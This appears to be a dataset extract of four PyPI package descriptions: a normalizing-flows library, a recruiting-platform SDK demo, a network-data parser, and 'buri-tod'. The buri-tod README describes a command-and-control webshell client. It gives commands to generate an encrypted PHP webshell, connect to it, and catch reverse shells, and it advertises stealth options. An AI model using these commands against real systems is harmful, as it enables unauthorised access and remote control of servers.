semvec/pypi-packages huggingface dataset:
buri-tod 0.7.1
B.U.R.I (Backdoor Utility for Remote Interaction) is a modular, encrypted command-and-control (C2) webshell client designed for secure and interactive remote administration. It provides a feature-rich interface for managing remote systems via an encrypted PHP webshell, supporting AES-GCM encryption, reverse shell capabilities, and extensible command modules.
Requires Python: >=3.8

<img width="563" height="729" alt="image" src="https://github.com/user-attachments/assets/fd44ac00-cf3f-46b1-be0e-a74669280599" />

B.U.R.I (Backdoor Utility for Remote Interaction) is a modular, encrypted command-and-control (C2) webshell client designed for secure and interactive remote administration. It provides a feature-rich interface for managing remote systems via an encrypted PHP webshell, supporting AES-GCM encryption, reverse shell capabilities, and extensible command modules.

## Features

- **Encrypted Communication**: Uses AES-GCM for secure client-server communication.
- **Interactive Shell**: Rich terminal UI with auto-completion, history, and syntax highlighting powered by `rich` and `prompt_toolkit`.
- **Modular Design**: Extensible command modules for custom functionality (e.g., file upload/download, privilege escalation).
- **Reverse Shell Support**: Built-in listener for reverse shell connections.
- **Cross-Platform**: Supports both Linux and Windows targets with dynamic environment detection.
- **Stealth Options**: Customizable POST parameters and proxy support for enhanced discretion.
- **Path Autocompletion**: Remote path completion using `ls` for efficient navigation.

## Installation
```
    pip install buri-tod
```

## Usage

B.U.R.I supports three main modes: creating a webshell, running an interactive session, and listening for reverse shells.

### 1. Create a Webshell
Generate an encrypted PHP webshell:
```bash
buri create --path shell.php --password 'SuperSecretPass123'
```
This creates a PHP webshell at `shell.php` with the specified password for encryption.

### 2. Run an Interactive Session
Connect to a deployed webshell:
```bash
buri run https://example.com/shell.php -p 'SuperSecretPass123' --param 'data'
```
- `--param`: Specify the POST parameter name (default: `data`).
- `--proxy`: Optional proxy (e.g., `http://127.0.0.1:8080`).

### 3. Start a Reverse Shell Listener
Listen for incoming reverse shell connections:
```bash
buri listen --lhost 0.0.0.0 --lport 4444
```
Then, from the interactive shell, initiate a reverse shell:
```
revshell <listener_ip> 4444
```

### Example Commands
Once in the interactive shell:
- `whoami`: Display the current user.
- `cd /path/to/dir`: Change the remote working directory.
- `ls`: List files in the current directory (supports autocompletion).
- `upload /local/path /remote/path`: Upload a file to the remote system.
- `download /remote/path /local/path`: Download a file from the remote system.
- `revshell <ip> <port>`: Initiate a reverse shell to the specified listener.
torchflows 1.2.0
Normalizing flows in PyTorch
Requires Python: <4,>=3.7

# Torchflows: normalizing flows in PyTorch

Torchflows is a library for generative modeling and density estimation using normalizing flows.
It implements many normalizing flow architectures and their building blocks for:

* Easy use of normalizing flows as trainable distributions.
* Easy implementation of new normalizing flows.

Example use:

```python
import torch
from torchflows.flows import Flow
from torchflows.architectures import RealNVP

torch.manual_seed(0)

n_data = 1000
n_dim = 3

x = torch.randn(n_data, n_dim)  # Generate some training data
bijection = RealNVP(n_dim)  # Create the bijection
flow = Flow(bijection)  # Create the normalizing flow

flow.fit(x)  # Fit the normalizing flow to training data
log_prob = flow.log_prob(x)  # Compute the log probability of training data
x_new = flow.sample(50)  # Sample 50 new data points

print(log_prob.shape)  # (100,)
print(x_new.shape)  # (50, 3)
```

Check out [examples](examples/) and the [documentation](https://torchflows.readthedocs.io/en/latest/), including the list of [supported architectures](https://torchflows.readthedocs.io/en/latest/).

## Installing

We support Python versions 3.7 and upwards.

Install Torchflows via pip:

```
pip install torchflows
```

Install Torchflows directly from Github:

```
pip install git+https://github.com/davidnabergoj/torchflows.git
```

Setup for development:

```
git clone https://github.com/davidnabergoj/torchflows.git
cd torchflows
pip install -r requirements.txt
```

## Citation

If you use this code in your work, we kindly ask that you cite the accompanying paper:
> [Nabergoj and Štrumbelj: Empirical evaluation of normalizing flows in Markov Chain Monte Carlo, 2024. arxiv:2412.17136.](https://arxiv.org/abs/2412.17136)

BibTex entry:
```
@misc{nabergoj_nf_mcmc_evaluation_2024,
    author = {Nabergoj, David and \v{S}trumbelj, Erik},
    title = {Empirical evaluation of normalizing flows in {Markov} {Chain} {Monte} {Carlo}},
    publisher = {arXiv},
    month = dec,
    year = {2024},
    note = {arxiv:2412.17136}
}
```

## Contributions

We warmly welcome all contributions and comments. 
Please do not hesitate to submit [issues](https://github.com/davidnabergoj/torchflows/issues) and [pull requests](https://github.com/davidnabergoj/torchflows/pulls).

Some options to start contributing include:
* Adding references to the documentation page for [architecture presets](https://torchflows.readthedocs.io/en/latest/architectures/index.html).
* Implementing new normalizing flow architectures (see the [developer guide](https://torchflows.readthedocs.io/en/latest/developer_reference/index.html)).
* Adding more [automated tests](./test) for numerical stability and optimization.
* Adding docstrings to undocumented classes.
taientsdk 0.0.13
taient sdk for python
Requires Python: >=3.10

# Taient SDK for Python

```shell
# 安装 Taient SDK 及其依赖, python 版本要求 >= 3.10
pip install -U taientsdk requests dotenv
```

```shell
# 创建 .env 文件，配置探也智能 API 服务器地址和端口
cat > .env<<EOF
TAIENT_HRP_SERVER=探也智能api服务器地址
EOF
```

```shell
# 创建 demo.py 文件，包含示例代码
cat > demo.py<<EOF
from dotenv import load_dotenv
from taientsdk import TaientClient

load_dotenv()

if __name__ == "__main__":

    # 1. 初始化客户端
    # 参数 TAIENT_HRP_USERNAME 和 TAIENT_HRP_PASSWORD 必传
    # 如果环境变量中不设置 TAIENT_HRP_SERVER，也可以在这里传递，但建议通过环境变量来配置。
    conf = {
        "TAIENT_HRP_USERNAME": "your_username",
        "TAIENT_HRP_PASSWORD": "your_password"
    }
    client = TaientClient(config=conf)

    # 2. 获取有联系方式的候选人列表
    # 接口 POST /exploree/search
    search_payload = {
        "page": 1,
        "rowsPerPage": 10,
        "searchParamList": [
            {
                "typeValue": "contactTypes",
                "name": "有电话",
            },
            {
                "typeValue": "exploreePosition",
                "name": "57cf284d-b4c3-476c-a698-8f8e06e19819", # [12663]AI产品经理
            }
        ]
    }
    hrp_response = client.hrp_post("/exploree/search", search_payload)
    if hrp_response:
        print("有电话的人选列表:", client.get_data(hrp_response, dict))

    # 3. 获取特定候选人的联系方式信息
    # 接口 GET /candidate/getCandidateContact?candidateId={exploreeId}
    # 参数 candidateId 可以从 /exploree/search 的响应中的 exploreeList.exploreeId 获取
    hrp_response = client.hrp_get("/candidate/getCandidateContact?candidateId=ea7d4851-48e9-4f40-9177-df9b41be2a36")
    if hrp_response:
        print("人选联系方式信息:", client.get_data(hrp_response, dict))

    # 4. 写人选跟进
    # 接口 POST /candidate/comment/{exploreeId}
    # 参数 exploreeId 可以从 /exploree/search 的响应中的 exploreeList.exploreeId 获取
    comment = {
        "commentText": "api测试跟进"
    }
    hrp_response = client.hrp_post("/candidate/comment/ea7d4851-48e9-4f40-9177-df9b41be2a36", comment)
    if hrp_response:
        print("写人选跟进:", client.get_data(hrp_response, dict))

    # 5. 获取候选人详情
    # 接口 GET /candidate/getCandidateBasicInfo?candidateId={exploreeId}
    # 参数 candidateId 可以从 /exploree/search 的响应中的 exploreeList.exploreeId 获取
    hrp_response = client.hrp_get("/candidate/getCandidateBasicInfo?candidateId=ea7d4851-48e9-4f40-9177-df9b41be2a36")
    if hrp_response:
        print("候选人详细信息:", client.get_data(hrp_response, dict))

    # 6. 获取候选人附件信息
    # 接口 GET /candidate/getCandidateAttachments?candidateId={exploreeId}
    # 参数 candidateId 可以从 /exploree/search 的响应中的 exploreeList.exploreeId 获取
    hrp_response = client.hrp_get("/candidate/getCandidateAttachments?candidateId=ea7d4851-48e9-4f40-9177-df9b41be2a36")
    if hrp_response:
        print("候选人附件信息:", client.get_data(hrp_response, dict))

    # 7. 下载候选人附件
    # 接口 GET /resume/attach/{id}/{internalId}/download
    # 参数 id (file_id) 和 internalId (internal_id) 可以从 /candidate/getCandidateAttachments 的响应中获取
    save_path = client.download_file(492276, "2514f893-e4e2-40a2-a7fe-db3e4d066fc4", "./")
    print("附件下载至:" + save_path)


```
repetita-parser 5.0.0
A parser for the REPETITA format
Requires Python: >=3.7

# python-repetita-parser

A Python parser for the data format of the [REPETITA](https://github.com/svissicchio/Repetita) framework.
This module can parse topology and demand files either **separately** or **combine** them into problem instances.
The data can then be accessed via native Python objects.

## Usage
A usage example is provided in [`examples/demand-visualization`](https://github.com/leon-richardt/python-repetita-parser/tree/main/examples/demand-visualization).
To try it, run the following commands:
```bash
$ cd examples/demand-visualization
$ python -m venv env && source env/bin/activate
$ pip install -r requirements.txt
$ python demand_visualization.py data/DeutscheTelekom.{graph,0000.demands}
```
This will parse and visualize some traffic distribution information about the passed REPETITA instance.


## Installation
Via pip:
```bash
pip install repetita-parser
```

An AUR package under the name of [`python-repetita-parser`](https://aur.archlinux.org/packages/python-repetita-parser) is available as well.


## Data Format
REPETITA defines two file formats, one for topology files and another for demand files.
These formats are defined in the [REPETITA wiki](https://github.com/svissicchio/Repetita/wiki/Adding-Problem-Instances).